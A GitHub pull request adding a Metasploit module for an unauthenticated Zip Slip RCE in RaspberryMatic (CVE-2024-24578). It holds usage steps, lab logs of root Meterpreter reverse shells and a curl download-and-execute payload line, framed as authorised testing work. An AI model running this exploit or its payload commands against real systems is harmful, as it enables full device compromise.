Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

RaspberryMatic unauthenticated RCE (Zip Slip) [CVE-2024-24578] #19841

Open
wants to merge 9 commits into
base: master
Choose a base branch
from

Conversation

h00die-gr3y
Copy link
Contributor

@h00die-gr3y h00die-gr3y commented Jan 28, 2025

RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached through the URL /pages/jpages/system/DeviceFirmware/addFirmware.
This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be automatically extracted without any further checks. As this entry can contain ../sequences, it is possible to break out of the predefined temp directory and write files to other locations outside this path.

This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files on the main filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in /usr/local/addons/mediola/bin/, which will be executed every five minutes through a cron job where attackers can gain remote code execution as root user, allowing a full system compromise.

RaspberryMatic versions <= 3.73.9.20240130 are vulnerable.

The following releases were tested.

RaspberryMatic Releases:

  • RaspberryMatic v3.73.9 (OVA image)
  • RaspberryMatic v3.65.8 (Raspberry Pi4 Model B image)

Installation steps to install RaspberryMatic OVA image

  • Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
  • Here are the installation instructions for VirtualBox on MacOS.
  • Download RaspberryMatic OVA.
  • Install the OVA image in your virtualization engine.
  • When installed, configure the VM appliance to your needs using the menu options via the webui.
  • Boot up the VM and should be able to access the RaspberryMatic appliance via the webui via http://your_ip/.

You are now ready to test the module.

Verification Steps

  • Start msfconsole
  • use exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578
  • set rhosts <ip-target>
  • set rport <port>
  • set lhost <attacker-ip>
  • set target <0=Unix/Linux Command>
  • exploit
  • you should get a reverse shell or Meterpreter session depending on the payload and target settings

Options

No specific options defined.

Scenarios

msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > info

       Name: RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload.
     Module: exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578
   Platform: Unix, Linux
       Arch: cmd, aarch64, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-16

Provided by:
  h00die-gr3y <[email protected]>
  h0ng10 <https://git.hub/h0ng10>

Module side effects:
 ioc-in-logs
 artifacts-on-disk
 config-changes

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   Unix/Linux Command

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
                                        cs/using-metasploit.html
  RPORT      443              yes       The target port (TCP)
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The RaspberryMatic endpoint URL
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the
                                       local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.

Payload information:

Description:
  RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple
  issues within the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached
  through the URL `/pages/jpages/system/DeviceFirmware/addFirmware`.
  This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be
  automatically extracted without any further checks. As this entry can contain ../sequences, it is possible to
  break out of the predefined temp directory and write files to other locations outside this path.

  This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files
  on the main filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in
  `/usr/local/addons/mediola/bin/`, which will be executed every five minutes through a cron job where attackers
  can gain remote code execution as root user, allowing a full system compromise.

  RaspberryMatic versions <= 3.73.9.20240130 are vulnerable.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2024-24578
  https://attackerkb.com/topics/ywHhBnSObR/cve-2024-24578
  https://github.com/jens-maus/RaspberryMatic/security/advisories/GHSA-q967-q4j8-637h

View the full module info with the info -d command.

RaspberryMatic OVA appliance - Unix/Linux Command x64 target

msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_SRVHOST 192.168.201.8
FETCH_SRVHOST => 192.168.201.8
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_WRITABLE_DIR /tmp
FETCH_WRITABLE_DIR => /tmp
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.6:443 can be exploited.
[+] The target appears to be vulnerable. RaspberryMatic 3.73.9
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Uploading sT2s4fChKUZ.tgz
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
[*] Sending stage (3045380 bytes) to 192.168.201.6
[*] Restoring original watchdog script.
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:51220) at 2025-01-28 18:00:01 +0000

meterpreter > sysinfo
Computer     : 192.168.201.6
OS           :  (Linux 6.1.74)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
meterpreter > pwd
/root
meterpreter >

RaspberryMatic Pi4 Model B compute board - Linux Dropper Command aarch64 target

msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set payload cmd/linux/http/aarch64/meterpreter_reverse_tcp
payload => cmd/linux/http/aarch64/meterpreter_reverse_tcp
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.10
rhosts => 192.168.201.10
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.10:443 can be exploited.
[+] The target appears to be vulnerable. RaspberryMatic 3.65.8
[*] Executing Unix/Linux Command for cmd/linux/http/aarch64/meterpreter_reverse_tcp
[*] Uploading 8emVtVt6U.tgz
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
[*] Restoring original watchdog script.
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.10:40324) at 2025-02-03 17:40:01 +0000

meterpreter > sysinfo
Computer     : 192.168.201.10
OS           :  (Linux 5.15.56)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > getuid
Server username: root
meterpreter > pwd
/root
meterpreter >

Limitations

You have to wait maximum five minutes for a session to allow cron to run the malicious watchdog script containing the payload. Just be patient and wait for the magic to happen ;-)

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the module @h00die-gr3y! A couple minor comments.

Unix/Linux Command

msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 172.16.199.130:443 can be exploited.
[+] The target appears to be vulnerable. RaspberryMatic 3.73.9
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Uploading kepZcpSUM.tgz
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
[*] Sending stage (3045380 bytes) to 172.16.199.130
[*] Restoring original watchdog script.
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.130:33108) at 2025-01-29 09:50:01 -0800

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.130
OS           :  (Linux 6.1.74)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > uname -a

Linux Dropper (x86_64 support)

msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 172.16.199.130:443 can be exploited.
[+] The target appears to be vulnerable. RaspberryMatic 3.73.9
[*] Executing Linux Dropper (x86_64 support) for linux/x64/meterpreter_reverse_tcp
[*] Using URL: http://172.16.199.1:9395/fC2svtyRxTWQpq
[*] Uploading e06DNUvZ.tgz
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
[*] Command Stager progress - 100.00% done (119/119 bytes)
[*] Client 172.16.199.130 (Wget/1.21.4) requested /fC2svtyRxTWQpq
[*] Sending payload to 172.16.199.130 (Wget/1.21.4)
[*] Restoring original watchdog script.
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.130:56004) at 2025-01-29 10:05:01 -0800
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.130
OS           :  (Linux 6.1.74)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Comment on lines 56 to 80
],
[
'Linux Dropper (ARM support)',
{
'Platform' => ['linux'],
'Arch' => [ARCH_AARCH64, ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/aarch64/meterpreter_reverse_tcp'
}
}
],
[
'Linux Dropper (x86_64 support)',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
}
}
]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This PR prompted a discussion about our fetch payload support for different architectures. @bwatters-r7 has graciously added support for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64 in the following PR: #19850

This will allow us to remove the multiple targets for each architecture and allow us to support exploiting all these different architectures with just ARCH_CMD.

This marks a great milestone in our effort to transition from using command stagers in favour for fetch payloads when possible.

Suggested change
],
[
'Linux Dropper (ARM support)',
{
'Platform' => ['linux'],
'Arch' => [ARCH_AARCH64, ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/aarch64/meterpreter_reverse_tcp'
}
}
],
[
'Linux Dropper (x86_64 support)',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
}
}
]
]

Copy link
Contributor Author

@h00die-gr3y h00die-gr3y Feb 3, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cool! Nice addition.
I removed the Linux Dropper code as suggested and tested the module with the aarch64 payload.
This works fine for the non-staged payload cmd/linux/http/aarch64/meterpreter_reverse_tcp, however the staged payload cmd/linux/http/aarch64/meterpreter/reverse_tcp does not work. It throws an illegal instruction when I run the binary on my raspberry PI model 4. I have seen these issues before with staged payloads, and not only on aarch64, but also on armle and mipsle architectures.

msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set payload cmd/linux/http/aarch64/meterpreter/reverse_tcp
payload => cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.10:443 can be exploited.
[+] The target appears to be vulnerable. RaspberryMatic 3.65.8
[*] Executing Unix/Linux Command for cmd/linux/http/aarch64/meterpreter/reverse_tcp
[*] Uploading pQj6HNVND.tgz
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (953388 bytes) to 192.168.201.10
^C[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) >
root@homematic-raspi:/tmp# file DYGMmkBVmWeV
DYGMmkBVmWeV: ELF 64-bit LSB executable, ARM aarch64, invalid version (SYSV), statically linked, no section header
root@homematic-raspi:/tmp# ./DYGMmkBVmWeV
Illegal instruction
root@homematic-raspi:/tmp#

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks so much for making those changes and testing with the aarch64 fetch payload @h00die-gr3y!

I don't think the failing staged payloads will be a blocker for this PR, however I'll double check with the team.

When using fetch payloads we now encourage the use of the non-staged payload.

Stagers (as I'm sure you may be aware) are a small stub designed to create some form of communication and then pass execution to the next stage. Using a stager (before fetch payloads) allowed us to use a small payload initially to load up a larger payload with more functionality.

With fetch payloads, the initial curl, wget or certutil command acts as stager, so to speak, so and combining that with a second stager is no longer provides the same benefit it used to.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@jheysel-r7, you are most welcome.
On your point of using staged and non-staged payloads, I still see a big benefit of using staged payloads where targets that have a very small OS footprint. You typically see them in IoT devices, but in this case it is indeed not relevant because there are no limitations in the OS footprint used by RaspberryMatic.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I need to finish up the ESC8 updates, but I have an RPi4B here, so I might be able to mock up the environment for testing. When I read about the problems, my first thought was back to this PR: #16570, but that was a segfault.
Curious now if maybe we're not getting alignment right. It would be super helpful to figure out what/where the illegal instruction is. The RPi 4B is ARMv8, so I think we should support that.

Copy link
Contributor

@dledda-r7 dledda-r7 Feb 4, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just another (different) data point, this was tested with QEMU user static.

msf6 payload(cmd/linux/http/aarch64/meterpreter/reverse_tcp) > generate -f
curl -so /tmp/iNqFqLGm http://172.26.133.223:8080/otevclxI8w0bUs3qv_y3Dw;chmod +x /tmp/iNqFqLGm;/tmp/iNqFqLGm&
msf6 payload(cmd/linux/http/aarch64/meterpreter/reverse_tcp) > 
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (953388 bytes) to 172.26.133.223
[*] Meterpreter session 2 opened (172.26.133.223:4444 -> 172.26.133.223:40460) at 2025-02-04 13:23:36 -0500

msf6 payload(cmd/linux/http/aarch64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer     : 172.26.133.223
OS           : Debian  (Linux 6.11.2-amd64)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > 
┌──(kali㉿kali)-[~]
└─$ curl -so iNqFqLGm http://172.26.133.223:8080/otevclxI8w0bUs3qv_y3Dw 
                                                                                                                                                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ chmod +x iNqFqLGm  
                                                                                                                                                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ file iNqFqLGm     
iNqFqLGm: ELF 64-bit LSB executable, ARM aarch64, invalid version (SYSV), statically linked, no section header
                                                                                                                                                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ ./iNqFqLGm  

Copy link
Contributor Author

@h00die-gr3y h00die-gr3y Feb 4, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I need to finish up the ESC8 updates, but I have an RPi4B here, so I might be able to mock up the environment for testing. When I read about the problems, my first thought was back to this PR: #16570, but that was a segfault. Curious now if maybe we're not getting alignment right. It would be super helpful to figure out what/where the illegal instruction is. The RPi 4B is ARMv8, so I think we should support that.

@bwatters-r7 tried to debug with gdb to find the root cause of the Illegal instruction, but there is no debug information available, so it is hard to find the actual instructions causing this SIGILL.

(gdb) info program
Last stopped for thread 1 (process 178478).
	Using the running image of child process 178478.
Program stopped at 0x7ff7ffc040.
It stopped with signal SIGILL, Illegal instruction.
Type "info stack" or "info registers" for more information.
(gdb) info stack
#0  0x0000007ff7ffc040 in ?? ()
Backtrace stopped: not enough registers or memory available to unwind further
(gdb) info register
x0             0x7ff7f13000        549620625408
x1             0xe9000             954368
x2             0x7                 7
x3             0x7ff7f13000        549620625408
x4             0xe8c2c             953388
x5             0x0                 0
x6             0x0                 0
x7             0x0                 0
x8             0xde                222
x9             0x0                 0
x10            0xe8c2c             953388
x11            0x0                 0
x12            0x3                 3
x13            0x0                 0
x14            0x0                 0
x15            0x0                 0
x16            0x0                 0
x17            0x0                 0
x18            0x0                 0
x19            0x0                 0
x20            0x0                 0
x21            0x0                 0
x22            0x0                 0
--Type <RET> for more, q to quit, c to continue without paging--
x23            0x0                 0
x24            0x0                 0
x25            0x0                 0
x26            0x0                 0
x27            0x0                 0
x28            0x0                 0
x29            0x0                 0
x30            0x400138            4194616
sp             0x7ffffff160        0x7ffffff160
pc             0x7ff7ffc040        0x7ff7ffc040
cpsr           0x60000000          [ EL=0 BTYPE=0 C Z ]
fpsr           0x0                 [ ]
fpcr           0x0                 [ Len=0 Stride=0 RMode=0 ]
tpidr          0x0                 0x0
(gdb) info symbol
Argument required (address).
(gdb) info symbol 0x7ff7ffc040
No symbol matches 0x7ff7ffc040.
(gdb) info symbol 0x0000007ff7ffc040
No symbol matches 0x0000007ff7ffc040.
(gdb) exit

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
Status: Todo
Development

Successfully merging this pull request may close these issues.

6 participants